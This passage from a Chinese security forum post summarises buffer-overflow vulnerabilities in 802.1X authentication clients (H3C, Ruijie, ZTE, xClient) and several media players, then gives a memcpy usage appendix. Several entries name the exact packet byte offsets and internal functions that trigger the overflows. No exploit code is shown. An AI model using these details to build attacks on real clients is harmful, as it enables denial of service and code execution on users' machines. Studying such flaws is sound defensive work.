描述:未对服务器地址做有效性验证,当输入恶意地址链接时,导致代码执行漏洞,poc测试结果显示当程序异常时,可以看到SEH处理函数已被覆盖为pop pop ret,并且顺利执行到栈中的跳转指令

#### H3C 802.1X客户端远程缓冲区溢出漏洞

类别:远程溢出

描述:调用memcpy函数,而memcpy函数的缓冲区长度字段如果恶意构造,就能导致减去2以后就能变成0xFFFFFFFF,最终导致缓冲区溢出。

####  锐捷 802.1x客户端远程缓冲区溢出漏洞

类别:远程溢出

描述:锐捷802.1x客户端存在远程缓冲区溢出漏洞,当发送恶意的数据包到客户端,会造成远程缓冲区溢出导致拒绝服务。其中memcpy拷贝数据的长度是可控的,由程序接收到的数据包中的第26,27字节决定,而程序并未进行有效的校验,导致缓冲区溢出,造成拒绝服务。

####  ZTE中兴802.1x认证客户端远程缓冲区溢出漏洞

类别:远程溢出

描述:客户端在接受数据时,未做有效性检验,导致缓冲区溢出,产生拒绝服务漏洞
原因:pdata指向接受到的数据,data_len为数据长度,当数据长度为17时,传给sub_40EFD0的第三个参数为0xFFFFFFFF,构造其余数据,在sub_40E340处触发漏洞

#### xClient 802.1x客户端2.0远程扩展冗余,大学影响较严重

类别:远程溢出

描述:由于软件未对收到的数据包中的长度偏移进行判定,导致重叠,产生了拒绝服务中断

原因:程序提取接收到的数据的第17个字节,做符号扩展后,最后当做长度直接传给了memcpypy函数,如果第17个字节为0-3之间的任意一个数,最终都会导致memcpy函数的长度分割非常大,最终导致长度

#### Hanso Player 缓冲区溢出漏洞(附POC代码)

类别:本地溢出
描述:Hanso Player对.pls文件解析时,存在缓冲区溢出漏洞,导致拒绝服务
原因:40D700函数进行数据拷贝的目标缓冲区只有260个字节,调用点出的原缓冲区大小却有0x400个字节,当读取了足够长的数据后,调用40D700会发生缓冲区溢出

#### SAP播放器缓冲区溢出漏洞

类别:本地溢出

描述:SAP播放器对皮肤文件解析时存在缓冲区溢出漏洞,导致执行任意代码。

原因:SAP启动过程中会加载skin\default目录下的UI.txt文件,由于程序并未对内容进行校验,导致加载畸形文件时发生缓冲区溢出,执行恶意代码

#### 010 Edit 缓冲区溢出漏洞

类别:远程溢出

描述:010 edit在执行用户的脚本时存在缓冲区溢出漏洞,导致执行任意代码

原因:当用户使用Calculator执行恶意构造的的命令时,会触发缓冲区溢出,由于两次向缓冲区赋值,计数却只减一,导致缓冲区被覆盖溢出

#### VNPlayer缓冲区溢出漏洞

类别: 本地溢出

描述:程序对.apl文件的内容未作校验,传入恶意文件导致缓冲区溢出,执行任意代码。

#### 附录:mcmcpy()的用法

原型:void *memcpy(void *dest, const void *src, size_t n);

功能:由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。

头文件:#include<string.h>

返回值:函数返回一个指向dest的指针。

说明:

  1.source和destin所指内存区域不能重叠,函数返回指向destin的指针。

  2.**与strcpy相比,memcpy并不是遇到'\0'就结束,而是一定会拷贝完n个字节。**


memcpy用来做内存拷贝,你可以拿它拷贝任何数据类型的对象,可以指定拷贝的数据长度;

例:

  char a[100], b[50];

  memcpy(b, a,sizeof(b)); //注意如用sizeof(a),会造成b的内存地址溢出。

  strcpy就只能拷贝字符串了,它遇到'\0'就结束拷贝;例:

  char a[100], b[50];

strcpy(a,b);

  3.如果目标数组destin本身已有数据,执行memcpy()后,将覆盖原有数据(最多覆盖n)。如果要追加数据,则每次执行memcpy后,要将目标数组地址增加到你要追加数据的地址。

  //注意,source和destin都不一定是数组,任意的可读写的空间均可。



附件:

[C库字符串函数反汇编分析]: https://bbs.pediy.com/thread-127475.htm

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-16 14:49 , Processed in 0.022985 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表